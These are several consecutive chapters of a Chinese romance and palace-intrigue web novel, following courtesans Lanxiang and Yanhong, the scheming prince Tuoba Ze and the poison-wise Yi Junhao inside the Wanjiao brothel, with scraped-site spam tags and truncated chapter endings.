她的直觉一直在告诉她,遇到梅志煊仿佛就是她的命中注定一般,也似乎是她和亲最好的选择。反正怎么都是逃不脱和亲的命运,与其坐以待毙,不如赌一把在梅志煊的身上,此生成败亦是在此一举了。

可一想起也正是因此,她从此可能亦是永远地要离开这片生她养她的亲亲国土,轩辕玥便沉默起来不再说话,陷入一片深深的沉思当中。

正在轩辕昊等着看轩辕玥会如何回答时,忽然,他的余光瞥见一名打扮有些招摇的女子,背着一个一动不动,似是喝醉了的男子,从那挂着红灯笼的门户旁,一条漆黑的巷子里缓缓走了出来。

轩辕昊心中一时对其起了兴致,指着那俩人的方向对身旁尚还沉思着的轩辕玥急道“皇姐,快看。皇弟觉得那女子所背的定是她那整日里花天酒地的丈夫。这大过年的还在外面瞎混,瞧这女子多可怜。天下男子尽是薄情寡义。但见新人笑,哪闻旧人哭。……无论皇姐如何打算,皇弟只希望皇姐的夫君是这天下无双的好男儿。”

轩辕玥方才本是无精打采,闷闷的沉默着,忽闻轩辕昊的声音,连忙亦朝着他所指的方向看去,却只看到了俩人已转过弯来在门前的背影,还有女子后背上的男子脸上遮着一面纱侧着脸似是在酣睡着。

而就在女子走到那门前欲开门跨过门槛时,她忽然回头朝着身后四下里警觉地张望了片刻,方才推门进去。

这时,女子背上的男子,其头上挽发用的白色发带忽然散开掉落了下来。女子却浑然不觉,只急急一进去便将门关的紧紧的。

“到了自家门前,为何一副鬼鬼祟祟的样子”轩辕昊皱着眉头纳闷着,口中喃喃道。

看到白色发带落地,轩辕昊连忙走过去将其拾起,拿在手里端详了半天,心中似是有些怀疑,一边把玩着,一边回到轩辕玥身边,不解的说“看这发带的质地,极为上品,怎会是住在这种小门小户的人家里所能用的起的。闻一闻,怎么还有股脂粉气。皇姐,看被皇弟猜中了吧,定是这男子整日里大手大脚地装饰自己,跑去那种烟花之地胡混方才沾染上了这些胭脂水粉味。如此整日奢靡方致败光了家产,才会日子过的如此不堪。”

轩辕昊气呼呼地说着,而轩辕玥却心里顿觉诧异

第一百一十六章:曾经,姐妹情深

婆婆一听,心里突然咯噔一下,甚是担忧地说道“香儿啊,你这整天都在外面做些什么啊,这怎么还跟这些危险的人扯在了一起。你这是诚心要气死外婆么?你说你娘当年就是不听外婆的话,非要留下那个来历不明的人在家里养伤,后来对他动了情,哪怕没有名分,也甘愿为其未婚生子。可最终,还不是被那忘恩负义的男人给抛弃了。她一死,狠心地让我这白发人送黑发人,留下我与你这一老一小。可到了你这儿,怎么还是如此执迷不悟,不让我省一点儿心呢?”

老婆婆说起那不堪回首的过往,悲痛欲绝……

兰香听到外婆这一番似是肝肠寸断的哭诉,心中亦是方才为之所动容,片刻后亦气道“外婆此后莫要在香儿面前再提起那个狼心狗肺的畜牲来,香儿但愿这一生永远都不要遇到他。不过,如果不幸有一天,若真让香儿再遇到了那个人,香儿一定会将这些年我们婆孙俩还有香儿那死去的娘生前所受的所有屈辱都让他加倍奉还。”

兰香咬牙切齿恨恨地说着,想起了她尚还只有五岁,那般懵懂无知时便永远地失去了母爱的庇护,成了整条街里人人可欺的无父无母的小孩。

街坊邻居的孩子更是不屑与她一起嬉戏,甚至于那些没有一点同情心的大人们还会时常对她指指点点,教他们的孩子骂她是个不要脸的小狐狸精,是个来历不明的野种,有人生没人养,用小石子丢她,口水吐她……

在完全被周围环境孤立起来长大的她,内心却极为善良和简单,自是也有些自卑。对于这世上外界的人和事,她的内心又充满着期待与好奇。而识别能力却太过于肤浅,并不知这个世界还有那般肮脏而又复杂的一面。

就在她十五岁及筚的那年,出落得更是淡雅素静,亭亭玉立,着实是当地难得一见的美人儿一枚,遭到周围许多人的眼红。

同时,她也像所有少女一样,此刻对自己的未来满怀憧憬。很快,便遇到了一位异乡来的翩翩公子,对她信誓旦旦,嘘寒问暖,关怀备至,毫无偏见。还给她讲了这天下她从来都不曾听闻过的许多人与物,甚至说将来一定会带她离开这里,走出去看看外面的世界……

很快,俩人便坠入了你侬我侬,难舍难分的爱河之中。

谁知,这竟是一场早已预谋好的温柔陷阱,那玉面男子竟是一匹十恶不赦的披着羊皮的狼。

他不但骗了她的处子之身,在她成了他的囊中之物后,当他厌倦了她,便眼睛眨也不眨一下地狠心将其骗着签下了一纸卖身契,将其卖到了青楼那人间地狱里。

从此,叫天天不应,叫地地不灵,她成了一个任凭千人骑万人跨,满身污秽的风尘女子。

就连那可怜的卖身钱都被那人面兽心的家伙一文不剩地带着远走高飞,从此没了踪影......

今天的这一切,都是拜那俩个男人所赐,她永远都不会原谅,永远不会。

本以为自己这辈子都不会再相信任何男人的花言巧语,更不会再爱。直到在万娇阁里遇到了那个让他一见便失了魂魄的拓跋泽,方才又一次感觉到自己的心竟还会再次悸动。

虽然知道自己的身子已经不再清清白白,配不上那样高贵的人,可她始终都放不下心中的这份执念。

本来依靠自己的长相和才情,也堪称得上是这万娇阁里的花魁人物。因此,有时候拓跋泽也会另外看她一眼。可即使只是这偶尔的一眼,她也已经心满意足了。

但直到玉娘的出现,拓跋泽竟再也没有看过她。于是,她的心中便升起了一种邪念来。

在万娇阁里,她故意寻机接近玉娘,交好她,甚至最后俩人以姐妹相称,她觉得这世上真的只有玉娘才是真心实意对她好的人。

知道了自己悲惨的身世和经历后,玉娘不但没有像其他人那样看不起她,反而对她更是关怀备至。而玉娘被禁足不得离开万娇阁半步,她也经常帮玉娘悄悄地送一些东西出去。

如果不是因为拓跋泽,或许她真的会和玉娘成为很好的姐妹。可偏偏不是这样,而之后她更是做出了让自己可能这辈子都无法原谅自己的事情来。

想到这一切,她心里又气又恼。为何这世间的事,总是如此捉弄人呢?

外婆听了她这段满是恨意的话,心里本就一片无尽的苦楚顿时又更多添了几分,便更伤心难过地抽噎起来。

兰香闻之连忙上前抚着她的背,安慰道“外婆放心,等兰香赚够了钱,便带着外婆去一个没有人认识我们的地方,我们永远地离开这个伤心之地,一切都重新开始,好么?”

“我可怜的香儿啊…”

“外婆…”

婆孙俩说着,便抱头一起痛哭了起来……

说起赎身的钱,又岂是那般容易的呢。可是,老鸨答应了她,只要这件事她办好了,便会将卖身契还给她,永远放她自由。

这件事……兰香趴在外婆瘦弱的肩膀上泪眼朦胧着,眼睛不禁望向了正昏睡在榻边的衣上云的身上……

“吱呀”一声,一间空荡荡漆黑不见天日,潮湿阴森冰冷的暗室,门被打开来。

接着,缓缓走进来一男一女。最先走进的是一个身形走样的肥胖妇人。她扭扭捏捏地一走进来,便朝着墙角的一盏熄灭着的油灯过去,用自己手里掌着的发出微弱光照的蜡烛引燃了那盏油灯。

顿时,暗室里变得明亮起来,那满室的尘

第一百一十七章:腐颜水

拓跋泽看着玉娘肝肠寸断的模样,深深地吐了口气。

许久后,玉娘忽然止住了哭声,却连挂在眼角的泪水都不屑于去拭掉,只慢慢地抬起来一双绝望的眼神说道“罢了,既然平安已去,玉娘活着还有什么意思。来吧,要杀要剐,悉听尊便。反正,进过这种地方,就算能出去,日后玉娘也是已无颜面再见家人。死了也好,倒落个干净。”

话刚说完,便抬起头来背靠着墙,将那一双好看的眼睛缓缓闭起。拓跋泽似是心中有些不忍,看着她沉默了许久后,背过身子去,低声对身旁的老鸨吩咐道“动手吧。”

于是,老鸨从身上缓缓掏出一把早已提前准备好的锋利无比的匕首来,朝其一步一步走了过去......

俩人刚一走出暗室的门来,守在门口的侍卫便欣喜地拱手向拓跋泽祝贺道“恭喜殿下,大功告成。”

然拓跋泽此时正缓缓地将脸上的黑白色马相面具摘了下来,只见其脸上随即露出了一丝凝重。似乎并没有如侍卫所说的那般会有喜悦之色挂在脸上。

这时,一旁的老鸨看见了他似是有些忧郁的脸,只急急说了句“那...老奴这就下去加快练制冰美人蛊毒?”

拓跋泽眨了眨眼,朝其摆了摆手,老鸨便悄悄退了下去。

这时,侍卫方才上前来跟在拓跋泽身后一边走一边问道“殿下可有从玉娘那里打探到画像上女子的身份了?那只有画像却并无一字的,能让那尊贵的秦王轩辕翰亲临城南,在万娇阁里大肆寻找的到底是什么重要之人?”

眼前这俩人怎能不识得誉满灵空的战神西秦秦王,而今日官府忽然大张旗鼓地进到万娇阁里寻人,他们很快便发现了对面香满楼里的尊贵客人——轩辕翰。

沉默了半晌,拓跋泽依旧双手负后着一边走,一边对其身旁的侍卫悠悠道“玉娘说她在秦王府当差的时候,见过画像上的女子,她叫做衣上云,是西秦皇宫里一个小小的药女。”

“衣上云,这个名字怎么这么耳熟?”侍卫一听,摸着脑袋急急回想着。

半天后,他终于想了起来,惊讶地急道“属下想起来了,她不正是前不久,解了我们对那西秦太子所施的天花之毒的女子么。”

拓跋泽顿时停下来优优的脚步,回头朝其一怔,口中亦是顿感惊诧道“是她!”

在侍卫的提醒下,他终于想起来这个让他曾经极为好奇的女子:西秦国御药房药师之女,长相丑陋且废柴一个,被西秦学院少主退了婚。后来为了替父亲的失职赎罪,被西秦皇帝惩罚入宫在御药房做了一名小药女。而今,却又被西秦皇帝将其赐给了秦王府的秦王妃做贴身医女。

“秦王府?轩辕翰?

秦王妃?西秦学院?......”拓跋泽一边暗自沉声说着,脸上露出了一脸让人捉摸不透的表情来。

侍卫点点头对其肯定道,又很纳闷地接着问道“只是,属下不知,殿下是如何料到那玉娘会识得画像中的女子的?”

拓跋泽阅人无数,一看到官兵手里的女子画像,便一眼认出了今夜来万娇阁里的白袍公子正是由此女乔装而成“今日来阁中的这俩人疑点重重。不但都不愿以真面目示人,而且在誉满整个西秦的万娇阁里,什么样的女子没有,竟都未能使其寻得一个称心如意的姑娘。所以,本皇子便断定他们根本就不是来这里消遣的,而是来寻人的。既然这些女子都不是他们要寻的人,那就只剩下这玉娘了,便自是玉娘认识的人。”

侍卫听了,立刻臣服道“主子英明,还好我们将玉娘提前转移了,否则怕是定会误了大事。”

拓跋泽随即冷笑一声,回过头去继续往前走去。他半眯着眼睛低声沉吟道“衣上云,哼…果然有胆识,本皇子记住你了。区区一个弱女子,不但敢独自前来我这万娇阁里寻事。还能让这西秦秦王不惜屈尊亲自作这么大阵势寻找,想必定是一个不简单的女子。竟然还解得了本皇子特制的天花之毒。哼…本皇子倒要看看,你究竟有多大能耐?”

“公主殿下,太子殿下,终于找到你们了!”程良带着几名侍卫骑着马终于看到了这姐弟俩的身影,连忙下马来上前,包围了轩辕玥和轩辕昊。

从如意居里出来,几人寻了一路,终于在回如意居的半路上遇到了这姐弟俩人。

“程将军”看到程良,俩姐妹方才终于舒了口气,安心了许多。

稍一迟疑,轩辕玥急急上前问道“程将军可有寻到云儿了?”

程良一听,顿感惭愧又无奈“本来是寻到了,可又弄丢了。”

“程将军此话怎讲?”轩辕昊忽然疑惑地插了嘴。

“俩位殿下请上马,属下边走边说,主子方才得知俩位殿下私自出门,大发雷霆了呢!”姐弟俩一听轩辕翰大怒,顿时面面相觑,吐了吐舌头。

于是,程良将今夜发生在万娇阁和如意居里的所有事情都跟这姐弟俩人仔仔细细地说了起来……

听完程良的话,轩辕玥犹豫片刻,问道“程将军确定带走云儿的,是万娇阁的女子?”

“据殿下所述,应该就是万娇阁的女子。只是可惜当时在楼上看不清那女子的相貌,只怕是不好找,这万娇阁里面,隐藏的太深了,殿下断定其中必大有玄机,可是属下至今都未能有所突破……”程良叹了口气道。

轩辕玥沉思着,忽然灵光一闪“方才程将军不是说那易三少

第一百一十八章:一切过往止于此

兰香瞬间便被怔住,只见易君浩手中高高举着的那只琉璃瓶的瓶口,随着瓶塞的打开,顿时被一股烟雾缭绕笼罩住,似是有着极强的腐蚀性。

然随着易君浩的缓缓逼身靠近,兰香那极为不知所措的身体亦不禁往后一步一步地倒退了起来。

却没想突然脚下一个踉跄,顺势着她的胳膊一下便重重地撞开了身后那扇半掩着的窗户。

就在眼看着她的上半身整个都瞬间向着窗外倾去的时候,她的身子忽然机灵地朝着侧边顿时一闪,方才使得她整个瘦小的身子没有因这一踉跄而飞出窗外,最后只是稳稳地闪贴在了窗边的墙壁上。

过了片刻,她方才舒了口气。然顷刻间,她的眼睛似是还有些惊魂未定地朝外往楼下望了去,只看到窗外夜色如墨下甚是空旷与寂静的后院。

随着眼睛缓缓向上收回的时候,她忽然瞥见了那个让她曾经一片死寂的心再次得以复燃,令她为之着迷的男人,他正站在对面阁楼的窗前亦是朝着窗外出神着。

可与以往不同,往日里,只要远远的一看到这个男人出现,兰香便会拼尽全部心思去引起他的注意,站在最显眼的地方,做最显眼的事情,一切的一切,只为能让其眼神在她的身上有片刻的停留……

而这次,她一看到这个男人的脸,先只是微微朝其一怔,随后便“哐当”一声,慌慌张张激动地将窗户立马掩得紧紧的。

而让她今日如此反于常态的原因,却并不是此刻自己的房内有着另一个男人——易君浩的存在。

到底因为什么,似乎她的心里一时半会儿也分的不是特别清楚,到底是因为玉娘,还是那个叫做云儿的女子……

易君浩见其快要跌出窗外去,大喊一声“小心!”

可他几乎是同时对她伸出去的一只大手,却在还未来得及触到她柔软的身子时,便先被她如此敏捷的反应瞬间怔住。这女子,真不是一般柔柔弱弱的风尘女子。

待玉娘慌乱地将窗户掩好,似是失神般地缓缓回过头来时。一回神,抬头看到的却是易君浩早已复原的依旧质问着的一双怒目,这其中似乎又增加了一些其它的什么在里面。【!¥&¥最快更新】

稍一犹豫,兰香忽然深吐一口浊气,随即将自己那双明亮的眼眸紧紧地闭了起来,似是心里此时已有了主意。

无论如何,这辈子自己已经做了太多让她回不了头的错事。

方才窗外的那个男人,她知道,其实在他的心里根本从未有过她一席之地。所有的一切,只不过是自己的一番执念,心甘情愿而已。

其实,在她答应老鸨做这件事的时候,她就已经暗自决定了所有的这一切都将止于玉娘这件事上。

所以,她绝对不能一而再再而三

地跨越自己的底线,让自己在无尽自责的深渊之中沉沦,继续出卖自己的良知。

她不想余生里,亏欠更多的人。这辈子欠下的债,纵使有下辈子,也还是一定要还的。

她亦不想自己的一生,终究是如此惶惶不安的一生。

再说,眼前的这个人,亦不知其究竟是什么人,找云儿究竟有什么企图?只凭这一身妖艳至极的扮相,薄薄的一张唇,怕是多半也是个薄情寡义的花花公子吧。她又怎能纵容自己帮助如此不堪的一个陌生人,去祸害另一个无辜的女子。

于是,兰香一字一顿,朝其镇定地说道“来吧,动手吧!”

看到兰香这般无所畏惧,易君浩忽然心里暗自怀疑道“看她样子……难道真是我错了?我和丫头真的错过了么,丫头真的如她所说,已经回去如意居了?”

但一回神,他似是仍尚未能解惑,还是有些不相信兰香的话。但同时,他又忽然想起了今夜发生在这万娇阁里的另外一件让他极为纳闷的事来。

于是,他再次半眯起那双细长的桃花眼走近到兰香的身旁,随后便将手里捏着的那只琉璃瓶里散发出阵阵神秘烟雾的透明液体,轻轻滴下一滴在兰香白皙的脸庞上。

半晌后,非但没有感到半点不适,反而突然觉得顿时整个脸上极为舒服的兰香,惊诧地缓缓睁开来双眼。心里万分好奇地疑惑道“眼前这男子究竟是什么人?制毒之术竟会如此高明,似是已经达到了出神入化的境界,似乎比那老鸨还要技高一筹。天下竟有人能将这由海麒麟所喷射出的毒物里提取炼制而成的腐颜水,配的如同胭脂水粉一般巧妙。真的只是一滴水的量,便可将一副姣好的容貌,毁的面目全非,却无半点痛楚。此刻,怕是自己的脸早已彻底被毁了吧。说着,便故作镇静着,双手有些瑟瑟发抖地伸起来缓缓朝着自己脸上摸去……

“这……这是怎么回事?”兰香的一双纤纤玉手一遍又一遍仔仔细细地抚摸着自己的脸,却并没有触摸到任何被腐颜水腐蚀过的痕迹,确是明显感觉自己的脸倒是多了几分细滑。于是,他看着眼前的易君浩震惊地问着。

易君浩冷哼一声,对其悠悠道“放心吧,方才滴在你脸上的,并不是真的腐颜水。那只是本公子特别为自己美容养颜而制的玫瑰精油而已。滴一滴,会让你的脸瞬间变得白皙光滑又细腻。怎么样,效果还不错吧?!”

兰香闻之,瞬间惊的目瞪口呆,竟会是这样。

&n

第一百一十九章:曾经,温柔纯善的奶娘

易君浩问兰香“本公子想问你的正是这幅蓝狐蝶图,你可知这幅图从何而来,又是出自何人之手,是不是万娇阁里有许多这样的画?似乎本公子在隔壁房内亦是见过同这一样的蓝狐蝶图?”

“一样?莫不是公子也认为这两幅画是一样的?”兰香一听疑惑地问道。

易君浩当然早已看出来其中的不同,但依旧佯装地问道“难道不是么?那依照兰香姑娘所识呢?”

兰香笑了笑,挑高眉眼用那似是有些骄傲与得意的表情,接着对其悠悠道“这幅栩栩如生,美妙绝伦的蓝狐蝶图在这万娇阁里可是人尽皆知的佳作珍品,但却绝不是每个人都能有资格得到的喔。实不相瞒,这幅画怕是在这世上也就只有两幅而已。其中公子之前所见的,也就是隔壁悬挂的那幅才是真迹,而兰香房内的这幅只不过是出自万娇阁老鸨之手临摹所作而已。怎么样,确实不错吧?”

易君浩听闻,心里即刻暗道“果然如此。”

但稍一迟疑,他抬眼朝其又问“哦?竟是如此。本公子还真没想到这万娇阁里竟是如此卧虎藏龙,就连这儿的老鸨也是颇具才艺啊。只是,不知道这老鸨到底是什么来头?作画的技艺竟如此之高。而且看似作这幅画所用的应该是南安国皇族才有资格用的上好的岩石颜料,莫非那老鸨是来自南安国身份尊贵之人?”

兰香被易君浩的这番猜想瞬间惊道,没想到这世间竟有人连这些都能看出来“公子此言亦对亦不对,老鸨她可并不是什么有高超绘画技艺的人,她只不过是不知从哪儿得了那幅真迹来,却就如同得了什么至宝一样。从此便似是着了魔一般,没日没夜,只要一有空闲,便会独自关起门来着迷地临摹这幅蓝狐蝶图,但最终却仅留下了这一幅满意之作而已。这万娇阁里的客人、姑娘、下人们都人云亦云,爱屋及乌,亦是见图中的尤物栩栩如生,充满神秘,便以得到这幅老鸨的亲手之作为荣,甚至更有许多客人不惜投以重金前来购买,而老鸨却从未有售出之意。否则,还真能发一笔不小的横财呢!”

兰香说到这里停顿了片刻,似是也为其感到有些遗憾,稍后又说“至于那老鸨究竟是何开头,兰香就不得而知了,兰香只是有一次不经意间听到她说自己的老家并不在西秦,而是在南安。”

此话一出,易君浩的眼睛便立刻朝其怔住了。

自古南安国里虽然到处盛行医药之术,但因此也衍生出众多邪恶的巫蛊之术。

虽南安朝中亦是屡下禁令,但这些人总能施以神秘的障眼之法。各地方上亦是时常受其威逼利诱,阳奉阴违。

但是对这画里传说中灵空以外的北国一隅里,天下至阴至毒的冰美人,却

是很多人听闻都敬而远之,虽尤爱却只可远观不可亵玩的一味毒物。

这是因为冰美人不仅仅只是存在于人们的传说之中,其生长环境更是在连绵不断、无尽酷寒的冰海冰川之地,寸草不生,极为恶劣。自是几乎无人真的见过,更别说是拥有。

而且由冰美人所制之毒,不但至阴至毒,且都是世间无解之毒。若是用来练制毒蛊,则更是奇邪无比。

然而,这冰美人虽是南安国所有毒蛊师都敬而远之,爱而不能得之尤物,但凡是具备最上乘的毒蛊术的毒蛊师却依然懂得和熟悉冰美人的用途和制毒蛊之方法。

此时,依照兰香方才所言,这万娇阁的老鸨此时已能完全断定必是南安国人无疑。

而从这幅蓝狐蝶图所画的内容和兰香口中所说的老鸨对这幅画的痴迷与钟爱程度来看,易君浩亦是同时确定了这老鸨独独钟情于此图,怕是醉翁之意不在酒,她……必是来自南安国里拥有最上乘毒蛊术的毒蛊师。

这时候,易君浩忽然叹了口气,眼神变得极为悠长。不知为什么,他忽然想起了自己小时候的第一位奶娘来。

他的第一位奶娘,那本是一个温柔似水、年轻貌美、对自己的照料看护更是无微不至,将自己视为如同已出的纯良妇人。

可就在他还尚且年幼,咿呀学语的时候,奶娘却被人告发其在南安国皇宫内,对易君浩的母后施行邪恶无比的巫蛊之术。

奶娘自认无辜,却被官兵在其房内搜出了铁证如山的证据来。

她又认为是有人故意栽赃陷害,欲求南安国君查明真相好还其清白,就在其犹犹豫豫间,易君浩的母后出来主动不计前嫌向国君求情,奶娘方才没有被判处以极刑,而是被其父皇下令永久地撵出了南安的国土,永世不得回国。

也是从此,便真的再也没了半点音信……

就在易君浩正陷入一片长长的思绪当中时,兰香忽然有些狐疑地像是又想起了什么“其实,仔细想起来我们老鸨也真的挺厉害的,她仿佛还会医药之术?”

易君浩听闻迅速一回神,问道“哦,此话怎讲?”

兰香稍作回忆,神秘的说道“兰香经常看到老鸨她自己开药方,亲手煎药,像是极为熟悉药剂的样子。”

易君浩好奇地问“哦?她会开药方,还经常开?是她自己吃吗?她都长的如此彪悍壮实了,还需要经常药补?”

兰香顿时掩鼻发出一阵轻笑,道“

第一百二十章:白衣英雄勇救千金独女

这时候,易君浩忽然叹了口气,眼神变得极为悠长。不知为什么,他忽然想起了自己小时候的第一位奶娘来。

他的第一位奶娘,那本是一个温柔似水、年轻貌美、对自己的照料看护更是无微不至,将自己视为如同已出的纯良妇人。

可就在他还尚且年幼,咿呀学语的时候,奶娘却被人告发其在南安国皇宫内,对易君浩的母后施行邪恶无比的巫蛊之术。

奶娘自认无辜,却被官兵在其房内搜出了铁证如山的证据来。

她又认为是有人故意栽赃陷害,欲求南安国君查明真相好还其清白,就在其犹犹豫豫间,易君浩的母后出来主动不计前嫌向国君求情,奶娘方才没有被判处以极刑,而是被其父皇下令永久地撵出了南安的国土,永世不得回国。

也是从此,便真的再也没了半点音信……

就在易君浩正陷入一片长长的思绪当中时,兰香忽然有些狐疑地像是又想起了什么“其实,仔细想起来我们老鸨也真的挺厉害的,她仿佛还会医药之术?”

易君浩听闻迅速一回神,问道“哦,此话怎讲?”

兰香稍作回忆,神秘的说道“兰香经常看到老鸨她自己开药方,亲手煎药,像是极为熟悉药剂的样子。”

易君浩好奇地问“哦?她会开药方,还经常开?是她自己吃吗?她都长的如此彪悍壮实了,还需要经常药补?”

兰香顿时掩鼻发出一阵轻笑,道“哪儿啊,刚开始兰香也以为是老鸨她给自己开的一些补药。但是,有一次被兰香不小心看到,这药原来都是给……”

兰香说到这里忽然停了下来,似是发现了自己说了不该说的话。

随即一转念,又继续改口说道“哎呀,瞧瞧兰香这张不把门的快嘴,这些都是咱们万娇阁里姑娘们之间的房中之事,公子就不必详细知道了吧。”

兰香一说完,便低下头来,一脸悔色。心里暗道,好险,差点被自己说漏了嘴。

此话一出,易君浩自然对这些风尘女子的房中之事不会有任何兴趣去窥探,便真的也没有再继续多想,除了更加确定他方才的猜想以外。

看来,他得找空好好会一会这个整日里逼良为娼,心宽体胖却深藏不露、却似极不简单的万娇阁神秘老鸨了。她到底究竟是如何从一个南安国的顶级毒蛊师,成为了这西秦国里最有名的烟花之所的老鸨的。

这时,他忽然又想起了衣上云来。转头看看窗外的天色,或许这个时候她已经在如意居里等不到他,歇息了吧。

于是,便连忙回神对兰香说道“好了,今日天色已晚,本公子先回去歇着了。若是日后还有什么事请教姑娘。还望姑娘能不吝赐教。”

然兰香一听却慌忙推辞说

“公子,兰香真的已经将所有自己知道的都告诉公子了,确实再无其他的了。”她可不想被任何人纠缠上。

然易君浩却并不这样认为,他只是对着她充满诡异的一笑,便大步头也不回地转身朝外走了出去……

“咚咚咚”,易君浩刚出门,又传来一阵轻轻的叩门声。

兰香闻声,从内室朝着门口很快走了出来,似是极为气恼着的样子。

“吱呀”一声,门一边被兰香打开着,一边传出她似是极不耐烦的声音来“我说你这人究竟怎么回事啊?本姑娘不是跟你说过了,已将知道的全都告诉你了吗,你却为何还是如同一张狗皮膏药一般贴着本姑娘,你要是再阴魂不散的话,本姑娘就真要去找老鸨来收拾你了。这可是万娇阁啊,对付像你这样无理取闹的客人还是……”

“嫣红,怎么是你?”兰香开门后一抬头方才发现,原来叩门的并不是刚刚离去的易君浩,而是这万娇阁里新进的一个姑娘——嫣红。

兰香顿时一怔,稍一迟疑,便伸手出去一把将其快速地拽了进来“快进来,你怎么来了?”将门轻轻掩上后一回头,方才发现嫣红的眼睛红通通的,像是刚刚哭过一场。

稍一沉思,兰香一边拉着嫣红在案几边落座下来,一边帮其倒了一盏热茶递到手中,嘴里关切问道“是不是刚又哭过了?可是那老鸨又为难你了?”

嫣红举止轻柔地伸手将热茶接过,一听到兰香的慰问,却顿时开始又似是很委屈地吸起了鼻子“香儿姐,这种整日里担惊受怕、惶惶不安的日子,嫣红真的受不了了。方才,你刚前脚与那遮面纱的客人离开,老鸨后脚便又将与他一起来的另一个遮面具的客人分给了嫣红。这以后漫漫人生路,嫣红定是熬不下去的。不如…让嫣红死了算了,乘着现在这身子还是干净的。呜…呜…呜…”

话刚说完,她便又开始更伤心地大声哭了起来。

“嘘”兰香一见,立刻竖起一根纤细的手指抵在自己的红唇上,示意其小声说话。

嫣红立刻压低了哭声,兰香看着她梨花带雨的小可怜模样,心中顿时感慨万千

第一百二十一章:天降贵婿一场梦

当时,她在隔壁房内惊怕地连自己的手背都咬破了,红艳艳的鲜血直冒着,她却无心去搭理。

亦是自此,嫣红心里暗自发誓,此生,她定会以自己的生命来维护这个姐姐。

看着嫣红再次伤心地哭了起来,兰香不经意间低眼下去,忽然瞟了一眼嫣红那双白皙、细嫩、光滑的似是从未曾沾染过阳春水的纤纤玉手。

稍一迟疑,问道“对了嫣红,关于你母亲的深仇大恨,到底是怎么回事?我也一直未曾有时间问你。还有,看你这形象气质,倒像是个大户人家的千金小姐,究竟又是如何由一位养尊处优的大家闺秀沦落为风尘女子的?”

闻之半晌后,嫣红方才吸了吸鼻子对其幽幽道“香儿姐,实不相瞒。我的祖父乃是城南的一位大善人,他一世里积德行善,恩施乡邻,然膝下却只有我母亲一个独女。为了延续祖上香火,在我母亲十五岁及笄的那一年,祖父便决定给我的母亲招赘,谁想却因此惹来了杀身之祸。”

可嫣红却像是被钉在了原地般,兀自发着呆,被兰香推了好几下才怔怔回神,看向兰香,咬了咬嘴唇“那个人他原来就是个骗子……”

说到这里,嫣红停了下来,似是有些往事不堪回首,然如今一提起,心中依旧又惊又怕着。兰香有些着急地问道“到底是怎么回事?”

兰香听了,立刻皱起眉头盯着嫣红尚还留有些发红的眼睛疑惑地跟着重复道“骗子?”

嫣红点点头,回忆着道“是的,那就是一个十恶不赦的大骗子。”

接着,将其悲惨的经历一一向兰香娓娓道来。

我娘及笄的前不久,她在丫鬟家丁的陪同下,前往城南郊外香火鼎盛的祈愿寺里上香,为我外公祈福。

谁料回家半路途中,突遇山贼盗匪的劫持,随行的家丁无一不被杀害。

就在我娘险被众匪凌辱之时,出现了一个白衣飘飘、玉面临风的翩翩公子,他手持长剑好似从天而降的上仙一般,很快便将劫匪一一逼退了去。

还因此受了严重的刀伤,方才将我娘救了下来,并保住了她的清白,还带着刀伤亲自将她护送回府里。

当外公见到他并且在得知此事后,以一百两黄金相赠表示感谢,却被他拒绝了。

外公见此,心里极为过意不去,便执意要他留下,命人在府里好生照顾其养好伤。

他亦是欲要婉言拒绝,最后,在我娘出面一番挽留下,他终于愿意留在府中疗伤。

而就是在接下来无数个朝夕相处的日子里,我外公和我娘这才发现,此人不但气质长相和身手不凡,而且还满腹诗书,可谓是文韬武略,见识也颇为广泛。

自此,我娘便对他芳心暗许了去。

本来我外公

亦是对将要入赘的女婿的人选没有过多要求,只要他人品端正,是正经人家的男子,能够全力保护和疼爱我娘便可。

于是,这个白衣上仙般的飘逸男子,便成了外公心中似天降贵婿般的良婿首选。

眼看着男子的伤一天天好起来,已经没有什么借口将其继续留在府里再观察入微下去了。【¥#@¥更好更新更快】

于是,外公亦是欣喜地满怀期待着,想圆了自己宝贝闺女的那片女儿家心思。他便试探着去问及他的出身,没想他竟自称说,自己是流落于世的孤独浪子,关于自己伤心的过往并不想多言及。

外公心中因此生疑,怕这样的人来历不明,便有些失望却也不得不警觉地打消了最初的念头,不想招这样的人入赘,搞不好,便是引火烧身,引狼入室。

可那人终日里琴棋书画,样样精通。以此,我娘也更是对她痴恋沉迷。

外公本就仅仅只有这样一个独女,又自小没了娘。更是一个人含辛茹苦,又做爹又做娘地将其养大成人。

为了我娘能幸福安乐,外公家产万贯却从来不曾有过纳妾的想法。

最后,在我娘的执意坚持下,不得已只能顺了我娘的意,将那人招进了府里,成了他的女婿。

刚开始,他对我外公尚还算得上孝顺,也恭恭敬敬;与我娘,亦算举案齐眉,对她的关怀可谓无微不至。

不久后,我娘便有了身孕。

而之后有一天,竟被我娘无意中听到了他的一个大秘密。

有一日夜里,我娘从睡梦中醒来,发现他并不在自己枕边,便起身来查看。

岂料,从书房的窗户缝隙里,竟发现他在与一个身着一袭夜行衣的神秘男子在窃窃私语着什么。

从他们的交谈之中,我娘隐隐约约听到了他们在说什么急需要银两,要用来招兵买马的事。

我娘大吃一惊,却在不小心捂嘴的时候撞开了书房她面前半掩着的那扇窗户。

那名一袭夜行衣的神秘男子听闻立刻飞身越过了窗户,手持着一把冰冷无比的利剑抵在我娘的脖子上。

我娘本就被方才听到的话,尚还惊魂未定着,又见一利剑抵向了自己和腹中的孩子,顿时觉得腹痛难忍,捂着肚子呻吟了起来,并开始大口喘气。

那人见了,亦连忙从书房内走出来,一见是我娘,便朝其挥了挥手,示意其先行离开,那神秘夜行衣男子方才按照指示匆匆离去。

&nb

第一百二十二章:昔日恩人变愁人

嫣红叹气回道“我娘原想息事宁人,不想将事情闹大,而且,她已经有了身孕。只要他肯低头认错,将事情都讲清楚,不再对家里有所隐瞒,金盆洗手,重新开始。她也可以既往不咎,当做一切都没有发生过,继续好好过日子。可是给了他那么多时间和空间考虑,等他回头是岸的那一天,谁曾料想,等来的却是杀父灭门之灾呢?香儿姐,你说这世间,怎会有这样无情无义、六亲不认、恩将仇报之人呢……”

兰香听闻,亦是深深叹了口气,无独有偶,天下尽是痴情女子负心汉,嫣红的娘,她的娘,竟都是世间这般痴傻的女子。

半晌后,一转念,兰香问嫣红“那你娘人呢,还有你又怎会沦落到这烟花之地的?”

嫣红犹豫了一会儿,黯然地说道:“我娘...几个月前去世了。我也是后来到处奔走打听,好不容易才听到有人说那个当初收留并救了我们母女性命的妇人,她在这个小镇上谋生,才来到这里寻着试试看。我娘临终的时候,也无别人可托付,便叫我尽力去寻寻那个大恩人,说她一定会收留或者帮助我的。

